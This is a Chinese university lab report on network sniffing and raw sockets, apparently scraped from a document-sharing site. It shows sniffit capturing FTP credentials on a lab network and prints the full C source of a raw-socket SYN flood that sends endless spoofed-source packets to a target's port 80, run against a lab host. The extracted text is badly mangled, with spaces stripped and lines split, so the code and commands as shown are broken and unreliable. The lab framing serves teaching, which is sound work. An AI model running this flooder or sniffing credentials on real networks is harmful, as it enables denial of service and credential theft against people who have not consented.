GF网络嗅探Word文档格式.docx
- 文档编号:16562592
- 上传时间:2022-11-24
- 格式:DOCX
- 页数:15
- 大小:358.30KB
GF网络嗅探Word文档格式.docx
《GF网络嗅探Word文档格式.docx》由会员分享,可在线阅读,更多相关《GF网络嗅探Word文档格式.docx(15页珍藏版)》请在冰豆网上搜索。
网络安全扫描器是针对于网络服务/应用服务/网络设备和网络协议等安全评估工具。
通常我们将基于网络的扫描成为主动式扫描,基于主机的扫描称为被动式扫描。
一个网络扫描器至少应该具备如下三项功能:
I.发现一个主机和网络;
II.发现主机后,扫描它正在运行的操作系统和各项服务;
III.测试这些服务中是否存在漏洞。
嗅探侦听主要有两种途径,一种是将侦听工具软件放到网络连接的设备或者放到可以控制网络连接设备的电脑上,这里的网络连接设备,比如网关服务器比如路由器。
当然要实现这样的效果可能也需要其他黑客技术,比如通过木马方式将嗅探器发给某个网络管理员,使其不自觉的为攻击者进行了安装。
另外一种是针对不安全的局域网(采用交换hub实现),放到个人电脑上就可以实现对整个局域网的侦听,这里的原理是这样的,共享hub获得一个子网内需要接收的数据时,并不是直接发送到指定主机,而是通过广播方式发送到每个电脑,对于处于接收者地位的电脑就会处理该数据,而其他非接收者的电脑就会过滤这些数据,这些操作与电脑操作者无关,是系统自动完成的,但是电脑操作者如果有意的话,他是可以将那些原本不属于他的数据打开的。
(2).嗅探器工作的基本原理
在一个实际的系统中,数据的收发是由网卡来完成的,网卡接收到传输来的数据,网卡内的单片程序接收数据帧的目的MAC地址,根据计算机上的网卡驱动程序设置的接收模式判断该不该接收,认为该接收就接收后产生中断信号通知CPU,认为不该接收就丢掉不管,所以不该接收的数据网卡就截断了,计算机根本就不知道。
CPU得到中断信号产生中断,操作系统就根据网卡的驱动程序设置的网卡中断程序地址调用驱动程序接收数据,驱动程序接收数据后放入信号堆栈让操作系统处理。
而对网卡来说一般有四种接收模式:
1).广播方式:
该模式下的网卡能够接收网络中的广播信息。
2).组播方式:
设置在该模式下的网卡能够接收组播数据。
3).直接方式:
在这种模式下,只有目的网卡才能接收该数据。
4).混杂模式:
在这种模式下的网卡能够接收一切通过它的数据,而不管该数据是否是传给它的。
总结:
首先,在以太网中是基于广播方式传送数据的,也就是说,所有的物理信号都要经过我的机器。
再次,网卡可以置于一种模式叫混杂模式(promiscuous),在这种模式下工作的网卡能够接收到一切通过它的数据,而不管实际上数据的目的地址是不是它。
这实际上就是SNIFF工作的基本原理:
让网卡接收一切它所能接收的数据。
3.实验步骤:
阅读理论知识,并通过平台进行实验:
通过控制台,打开实验环境:
主机靶机IP:
192.168.2.182
被攻击靶机IP:
192.168.2.181
在显示连接成功以后,就可以通过“连接”按钮进入到实验环境中。
进入实验环境后,进行以下操作:
(1).进入靶机192.168.2.181,开启xannp中的ftp服务,ftp账户为bluedon,密码为123456.(已设置好)
(2).进入靶机192.168.2.182,打开终端。
输入以下命令:
sniffit–a–A–p–t192.168.2.181
然后打开另一个终端,ftp连接到192.168.2.181,输入账户和密码登入FTP服务器。
(3).观察sniffit命令下的嗅探信息,从中发现,已经嗅探出账户和密码。
4.实验结果
ftp192.168.2.181
5.问题答疑
(1).嗅探会造成哪些危害?
1).捕获口令.Sniffer可以记录到明文传送的userid和passwd,即使网络传送过程中使用了加密的数据,Sniffer记录的数据一样有可能使入侵者想办法算出你的算法.一般Sniffer只嗅探每个报文的前200到300个字节,而用户名和口令都包含在这一部分中.
2).能够捕获专用的或者机密的信息.比如金融帐号,许多用户很放心在网上使用自己的信用卡或现金帐号,然而Sniffer可以很轻松截获在网上传送的用户姓名,口令,信用卡号码,截止日期,帐号和pin.比如偷窥机密或敏感的信息数据,通过拦截数据包,入侵者可以很方便记录别人之间敏感的信息传送,或者干脆拦截整个的email会话过程.
3).可以用来危害网络邻居的安全,或者用来获取更高级别的访问权限.一旦入侵者得到用户名和口令,必然可以通过信任关系危害网络邻居的安全,既而获取更高级别的访问权限.
4).窥探低级的协议信息.通过对底层的信息协议记录,比如记录两台主机之间的网络接口地址,远程网络接口IP地址,IP路由信息和TCP连接的字节顺序号码等.这些信息由入侵者掌握后将对网络安全构成极大的危害,例如通常的IP地址欺骗就是要求准确插入TCP连接的字节顺序号.
(2).如何检测并防范网络嗅探?
1).上网的时候,采用ssl加密传送数据。
2).采用ssh代替ftp,尽量不要使用telnet等服务。
3).向同一局域网中采用ip与mac绑定,防止有人搞破坏。
4).利用反嗅探工具检测嗅探是否存在并作出处理。
5).优化网络结构,如进行网络分段,使用交换式集线器,划分wlan使以太通信变成点到点通信等。
二原始套接字
1.场景描述
登录控制台开启并连接Linux靶机,编译dos.c并运行,对Windows靶机进行攻击,Windows靶机上使用sniffer进行监控(dos.c在Linux->
root->
gonfang->
原始套接字,sniffer在Windows靶机上)。
2.实验目的
1).掌握原始套接字的基本概念。
2).掌握原始套接字程序和普通的TCP/IP程序区别。
3).掌握原始套接字发送和接收报文的流程。
4).掌握常用网络分析抓包工具的使用。
3.技术分析
(1).原始套接字的基本概念
通常情况下程序设计人员接触的网络知识限于如下两种:
1).流式套接字(SOCK_STREAM),它是一种面向连接的套接字,对应于TCP应用程序,提供了面向连接的、可靠的、数据无错并且无重复的数据发送服务,而且接收数据的顺序和发送数据的顺序是相同的。
2)数据报套接字(SOCK_DGRAM),它是一种无连接的套接字,对应于UDP应用程序,它以独立的数据包形式发送数据(数据包长度不能大于32KB),不提供正确性检查,也不保证各数据包的发送顺序和接收顺序相同,因此,可能出现数据的重发、丢失等现象。
除了以上两种基本的套接字外还有一类原始套接字,用于直接访问协议的较低层,它是一种对原始网络报文进行处理的套接字。
常用于检验新的协议实现或访问现有服务中配置的新设备,一般不提倡直接使用原始套接字。
原始套接字(SOCK_RAW)是一种不同于SOCK_STREAM、SOCK_DGRAM的套接字,它实现于系统核心。
它的主要功能包括:
1.普通的套接字无法处理ICMP\IGMP等网络报文,而SOCK_RAW可以;
2.SOCK_RAW也可以处理特殊的IPv4报文;
3.利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。
总体来说,SOCK_RAW可以处理普通的网络报文之外,还可以处理一些特殊协议报文以及操作IP层及其以上的数据。
(2).原始套接字发送报文有如下的原则:
通常情况下可以使用sendto()函数并指定发送目的地址发送数据,当已经bind()了目标地址的时候可以使用write()或者send()发送数据。
如果使用setsockopt()设置了选项IP_PINCL,则发送的数据缓冲区指向IP头部第一个字节的头部,用户发送的数据包含IP头部之后的所有数据,需要用户自己填写IP头部和计算校验和及所包含数据的处理和计算。
如果没有设置IP_RINCL,则发送缓冲区指向IP头部后面数据区域的第一个字节,不需要用户填写IP头部,IP头部的填写工作由内核进行,内核还进行校验和的计算。
(3).接收报文的一些特点,主要有如下几个:
对于ICMP的协议,绝大部分数据可以通过原始套接字获得,例如回显请求、响应,时间戳请求等。
接收的UDP和TCP协议的数据不会传给任何原始套接字接口,这些协议的数据需要通过数据链路层获得。
如果IP以分片形式到达,则所有分片都已经接收到并重组后才传给原始套接字。
内核不能识别的协议、格式等传给原始套接字,因此,可以使用原始套接字定义用户自己的协议格式。
4.实验步骤
阅读理论知识,通过平台进行实验。
通过控制台,打开实验环。
主机靶机IP:
192.168.2.18
被攻击靶机IP:
192.168.2.17
进入192.168.2.18实验环境后,进行以下操作:
(10)。
进入相应目录,将文件名由dos.c改为03113096.c,查看03113096.c文件,分析原始套接字攻击程序源代码。
路径如下:
cdgongfang/Raw-socket
(2).编译源代码对主机192.168.2.17进行攻击测试
1).首先连接到192.168.2.17的主机,打开软件sniffer,点击监视器,查看网络数据包情况。
2).在主机192.168.2.18的终端输入以下攻击命令:
./dos192.168.2.17
3).回到192.168.2.17主机查看数据包情况,数据包的增加速度变得很快,以每秒几万个数据包在增加。
4).关闭命令后,在测试一下,发现数据包增加速度变正常了。
5.实验结果
1).cdgongfang/Raw-socket
2).编译源代码:
root@debian:
~#cdgongfang
~/gongfang#cdRaw-socket/
~/gongfang/Raw-socket#ls
dosdos.cRaw-socket
~/gongfang/Raw-socket#mvdos.c03113096.c
03113096.cdosRaw-socket
~/gongfang/Raw-socket#cat03113096.c
#include<
sys/socket.h>
;
netinet/in.h>
netinet/ip.h>
netinet/tcp.h>
stdlib.h>
errno.h>
unistd.h>
stdio.h>
netdb.h>
#defineDESTPORT80/*要攻击的端口(WEB)*/
#defineLOCALPORT8888
voidsend_tcp(intsockfd,structsockaddr_in*addr);
unsignedshortcheck_sum(unsignedshort*addr,intlen);
intmain(intargc,char**argv)
{
intsockfd;
structsockaddr_inaddr;
structhostent*host;
inton=1;
if(argc!
=2)
{
fprintf(stderr,"
Usage:
%shostname\n\a"
argv[0]);
exit
(1);
}
bzero(&
addr,sizeof(structsockaddr_in));
addr.sin_family=AF_INET;
addr.sin_port=htons(DESTPORT);
if(inet_aton(argv[1],&
addr.sin_addr)==0)
host=gethostbyname(argv[1]);
if(host==NULL)
{
fprintf(stderr,"
HostNameError:
%s\n\a"
hstrerror(h_errno));
exit
(1);
}
addr.sin_addr=*(structin_addr*)(host->
h_addr_list[0]);
/****使用IPPROTO_TCP创建一个TCP的原始套接字****/
sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
if(sockfd<
0)
SocketError:
strerror(errno));
/********设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写***/
setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&
on,sizeof(on));
/****没有办法,只用超级护用户才可以使用原始套接字*********/
setuid(getpid());
/*********发送炸弹了!
!
****/
send_tcp(sockfd,&
addr);
}
/*******发送炸弹的实现*********/
voidsend_tcp(intsockfd,structsockaddr_in*addr)
charbuffer[100];
/****用来放置我们的数据包****/
structip*ip;
structtcphdr*tcp;
inthead_len;
/*******我们的数据包实际上没有任何内容,所以长度就是两个结构的长度***/
head_len=sizeof(structip)+sizeof(structtcphdr);
bzero(buffer,100);
/********填充IP数据包的头部,还记得IP的头格式吗?
******/
ip=(structip*)buffer;
ip->
ip_v=IPVERSION;
/**版本一般的是4**/
ip_hl=sizeof(structip)>
>
2;
/**IP数据包的头部长度**/
ip_tos=0;
/**服务类型**/
ip_len=htons(head_len);
/**IP数据包的长度**/
ip_id=0;
/**让系统去填写吧**/
ip_off=0;
/**和上面一样,省点时间**/
ip_ttl=MAXTTL;
/**最长的时间255**/
ip_p=IPPROTO_TCP;
/**我们要发的是TCP包**/
ip_sum=0;
/**校验和让系统去做**/
ip_dst=addr->
sin_addr;
/**我们攻击的对象**/
/*******开始填写TCP数据包*****/
tcp=(structtcphdr*)(buffer+sizeof(structip));
tcp->
source=htons(LOCALPORT);
dest=addr->
sin_port;
/**目的端口**/
seq=random();
ack_seq=0;
doff=5;
syn=1;
/**我要建立连接**/
check=0;
/**好了,一切都准备好了.服务器,你准备好了没有?
?
^_^**/
while
(1)
/**你不知道我是从那里来的,慢慢的去等吧!
**/
ip->
ip_src.s_addr=random();
/**什么都让系统做了,也没有多大的意思,还是让我们自己来校验头部吧*/
/**下面这条可有可无*/
tcp->
check=check_sum((unsignedshort*)tcp,
sizeof(structtcphdr));
sendto(sockfd,buffer,head_len,0,addr,sizeof(structsockaddr_in));
/*下面是首部校验和的算法*/
unsignedshortcheck_sum(unsignedshort*addr,intlen)
registerintnleft=len;
registerintsum=0;
registershort*w=addr;
shortanswer=0;
while(nleft>
1)
sum+=*w++;
nleft-=2;
if(nleft==1)
*(unsignedchar*)(&
answer)=*(unsignedchar*)w;
sum+=answer;
sum=(sum>
16)+(sum&
0xffff);
sum+=(sum>
16);
answer=~sum;
return(answer);
~/gongfang/Raw-socket#
3).攻击命令:
4).192.168.2.17主机上数据包变化情况:
5).数据包增长速度变快:
6).数据包增长速度变正常:
指导教师评语:
实验成绩:
指导(辅导)教师:
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- GF 网络